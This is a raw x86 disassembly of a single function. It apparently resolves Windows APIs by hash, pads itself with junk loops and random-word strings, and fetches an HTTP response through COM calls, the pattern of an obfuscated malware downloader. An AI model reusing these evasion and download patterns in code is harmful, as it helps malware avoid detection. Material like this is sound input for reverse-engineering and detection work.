mov dword [ebp - 0x24], esi
cmp esi, 0x3e6e
jl 0x1000ee0a
mov dword [ebp - 0x24c], 0x5a519d81
cmp dword [ebp - 0x18], 0x1d49
jge 0x1000ee71
push str.ual_royehhdzv_onq_csxswf_kccxbm_addfuo_ozbh_pwnyzcy_tmnzefiun_cqtc
call fcn.1004b583
pop ecx
push ecx
push 0x2000
push ecx
xor eax, eax
mov dword [ebp - 4], 0x2b
inc eax
push eax
push ecx
push 0x2b8e
mov ecx, 0x55e2
mov dword [ebp - 0x30], eax
call fcn.1000c90d
lea eax, [ebp - 0x244]
mov dl, 1
push eax
push 0xc59
lea eax, [ebp - 0x24c]
push eax
push 0x5768
push 0x7f25
push 1
push 1
lea ecx, [ebp - 0x248]
call fcn.1000c024
add esp, 0x34
lea ecx, [ebp - 0x3b0]
cmp dword [ebp - 0x2bc], 8
lea eax, [ebp - 0x2d0]
mov esi, 0x525f
cmovae eax, dword [ebp - 0x2d0]
push ecx
push eax
push 0xb2fb
push esi
call fcn.100442cc
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1000f4cc
cmp dword [ebp - 0x298], 8
lea ecx, [ebp - 0x390]
push ecx
lea eax, [ebp - 0x2ac]
cmovae eax, dword [ebp - 0x2ac]
push eax
push 0xb2fb
push esi
call fcn.100442cc
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1000f4cc
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x3b0]
push eax
push 3
push ebx
lea eax, [ebp - 0x390]
push eax
push 0xb2fb
push 0xbdb7
call fcn.100442cc
pop ecx
pop ecx
call eax
test eax, eax
js 0x1000f4cc
cmp dword [ebp - 0x48], 0
je 0x1000f4cc
push 0x58f2
push 1
push 1
lea eax, [ebp - 0x368]
mov edx, 0x61ce
push eax
push 1
mov ecx, 0x6876
call fcn.1000c9ba
add esp, 0x14
mov byte [ebp - 0x74], bl
xor eax, eax
mov dword [ebp - 0x73], 0x22201fe
mov word [ebp - 0x360], ax
mov byte [ebp - 0x6f], 0x11
push 0x47
pop eax
push 2
mov word [ebp - 0x184], ax
pop esi
movzx eax, byte [ebp + esi - 0x76]
movzx edx, byte [ebp + esi - 0x73]
movzx ecx, word [ebp + eax*2 - 0x184]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0x74]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x184], dx
cmp esi, 6
jb 0x1000efb4
xor eax, eax
mov dword [ebp - 0x1b0], 7
mov word [ebp - 0x17e], ax
lea ecx, [ebp - 0x1c4]
mov word [ebp - 0x1c4], ax
lea eax, [ebp - 0x184]
push eax
mov dword [ebp - 0x1b4], ebx
call fcn.1000b67d
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x1c4]
cmp dword [ebp - 0x1b0], 8
mov eax, dword [ebp - 0x1b4]
cmovae ecx, dword [ebp - 0x1c4]
push dword [ebp - 0x1a4]
mov dword [ebp - 0x184], ebx
mov dword [ebp - 0x180], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x210], ebx
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 0x20c], ebx
cmovae ecx, dword [ebp - 0x1c4]
push eax
push ecx
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x208], ebx
call fcn.10010119
push ebx
mov edx, 0x7497
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x210]
call fcn.1000c315
pop ecx
mov ecx, dword [ebp - 0x78]
mov esi, dword [ecx + 0x14]
cmp esi, 8
jb 0x1000f09b
mov edx, dword [ecx]
jmp 0x1000f09d
mov edx, ecx
mov eax, dword [ecx + 0x10]
lea eax, [edx + eax*2]
cmp esi, 8
jb 0x1000f0aa
mov ecx, dword [ecx]
push dword [ebp - 0x1a4]
mov dword [ebp - 0x1e4], ebx
push eax
push ecx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x1e0], ebx
mov dword [ebp - 0x1dc], ebx
call fcn.10010119
push ecx
push ecx
push 1
lea edx, [ebp - 0x1e4]
mov byte [ebp - 4], 0x34
call fcn.1000c0d3
mov eax, dword [ebp - 0x48]
lea esi, [ebp - 0x328]
cmp dword [ebp - 0x1b0], 8
lea edx, [ebp - 0x1c4]
cmovae edx, dword [ebp - 0x1c4]
mov ecx, dword [eax]
push ecx
mov edi, esp
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x328]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x368]
push dword [ebp - 0x1e4]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1000f498
mov esi, dword [ebp - 0x19c]
mov cl, 1
mov dword [ebp - 0x174], ebx
cmp esi, dword [ebp - 0x198]
je 0x1000f199
add esi, 0x18
test cl, cl
je 0x1000f181
cmp dword [esi + 0x14], 8
jb 0x1000f160
mov edi, dword [esi]
jmp 0x1000f162
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1000f16d
mov edx, dword [esi - 0x18]
jmp 0x1000f170
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x48]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x1000f183
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x198]
jne 0x1000f152
test cl, cl
je 0x1000f498
mov eax, dword [ebp - 0x48]
lea esi, [ebp - 0x328]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1000f498
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x174]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1000f498
cmp dword [ebp - 0x174], 0x130
je 0x1000f1ed
cmp dword [ebp - 0x174], 0xc8
jne 0x1000f498
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x3c0]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1000f498
mov ecx, dword [ebp - 0x3b8]
mov dword [ebp - 0x1ac], ecx
test ecx, ecx
je 0x1000f498
mov eax, dword [ecx]
lea edx, [ebp - 0x5b0]
push 1
push edx
push ecx
call dword [eax + 0x30]
test eax, eax
js 0x1000f481
mov esi, dword [ebp - 0x5a8]
lea ecx, [ebp - 0x55]
mov eax, dword [ebp - 0x190]
push ecx
push esi
push eax
mov dword [ebp - 0x18c], eax
lea ecx, [ebp - 0x190]
lea eax, [ebp - 0x338]
mov dword [ebp - 0x1a0], esi
push eax
mov byte [ebp - 0x55], bl
call fcn.1000fc2a
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x17c], ebx
mov dword [ebp - 0x18], 0x6bba
cmp dword [ebp - 0x18], 0x6f93
jle 0x1000f2c4
mov edi, ebx
mov dword [ebp - 0x50], ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
lea eax, [esi + edi]
mov esi, 0x322f
mov dword [ebp - 0x30], eax
mov edi, eax
mov eax, edi
mov ecx, 0x1007f2b8
cdq
push edx
push eax
call fcn.1000473c
dec edi
dec esi
jne 0x1000f293
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x50]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x428d
jl 0x1000f286
inc edi
mov dword [ebp - 0x50], edi
cmp edi, 0x1cc1
jl 0x1000f281
mov byte [ebp - 4], 0x35
cmp dword [ebp - 0x18], 0x6909
mov dword [ebp - 0x50], ebx
jge 0x1000f301
mov edx, str.zfx_rycjh_hewdhsis_fynzvdfk_rodusj_chip_ayvkc_npluns_cpbzym_vbqymptbf_uwwwacwi
mov ecx, 0x1007f2b8
call fcn.1000877a
jmp 0x1000f301
mov dword [ebp - 4], 0x34
mov edi, dword [ebp - 0x190]
mov esi, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x50]
mov ecx, dword [esi]
lea edx, [ebp - 0x17c]
push edx
push dword [ebp - 0x6c]
add eax, edi
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
js 0x1000f36f
push ebx
push ecx
push ecx
push 0x27db
push 0x6081
lea edx, [ebp - 0x17c]
lea ecx, [ebp - 0x50]
call fcn.1000c3c7
add esp, 0x14
lea eax, [ebp - 0x17c]
lea edx, [ebp - 0x6c]
push 1
push eax
call fcn.1000cc08
mov eax, dword [ebp - 0x50]
pop ecx
pop ecx
cmp eax, dword [ebp - 0x1a0]
jb 0x1000f317
jmp 0x1000f3ef
mov dword [ebp - 0x30], 0xd68
cmp dword [ebp - 0x30], 0xdcc
jle 0x1000f3ef
mov esi, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov ecx, edi
mov dword [ebp - 0x30], esi
mov edi, esi
mov dword [ebp - 0x40], ebx
shl edi, cl
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x408]
or eax, esi
cdq
push edx
push eax
call fcn.10001a8a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000f3b3
mov eax, dword [eax]
push eax
call fcn.1004b583
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x408]
call fcn.10004d7a
inc esi
cmp esi, 0x8011
jl 0x1000f397
mov edi, dword [ebp - 0x24]
mov esi, dword [ebp - 0x18]
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0x337a
jl 0x1000f389
mov dword [ebp - 0x24], 0x1f34
cmp dword [ebp - 0x24], 0x2001
jle 0x1000f449
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x6c], 0x1bb8
mov eax, edi
lea ecx, [ebp - 0x468]
cdq
push edx
push eax
call fcn.10001a8a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000f424
mov eax, dword [eax]
push eax
call fcn.1004b583
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x468]
call fcn.10004d7a
add edi, esi
dec dword [ebp - 0x6c]
jne 0x1000f40a
push ecx
lea eax, [ebp - 0x50]
push eax
push ecx
push ebx
push ecx
lea eax, [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x190]
call fcn.1000c90d
add esp, 0x18
cmp dword [ebp - 0x24], 0x1ebf
jge 0x1000f47a
push str.skrcsdk_oxry_jpcx_kcb_trqljv_goj_mtpaqo_znsf_vfnc
call fcn.1004b583
pop ecx
mov dword [ebp - 4], 0x34
lea eax, [ebp - 0x1ac]
push eax
push ecx
push ebx
push ecx
mov ecx, 0x3a25
call fcn.1000c6c1
add esp, 0x10
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x48], ebx
call fcn.1000fb05
lea ecx, [ebp - 0x210]
call fcn.1000fb05
push ebx
push 1
lea ecx, [ebp - 0x1c4]
mov byte [ebp - 4], 0x2b
call fcn.10005081
push 0xb2fb
push 0x4b37
call fcn.100442cc
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x1e8]
lea eax, [ebp - 0x190]
push eax
call fcn.1000f9c7
push ebx
push 1
lea ecx, [ebp - 0x2ac]
call fcn.10005081
push ebx
push 1
lea ecx, [ebp - 0x2d0]
call fcn.10005081
lea ecx, [ebp - 0x19c]
call fcn.1000fa7c
lea ecx, [ebp - 0x190]
call fcn.1000fb6f
lea ecx, [ebp + 8]
call fcn.1000fa7c
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret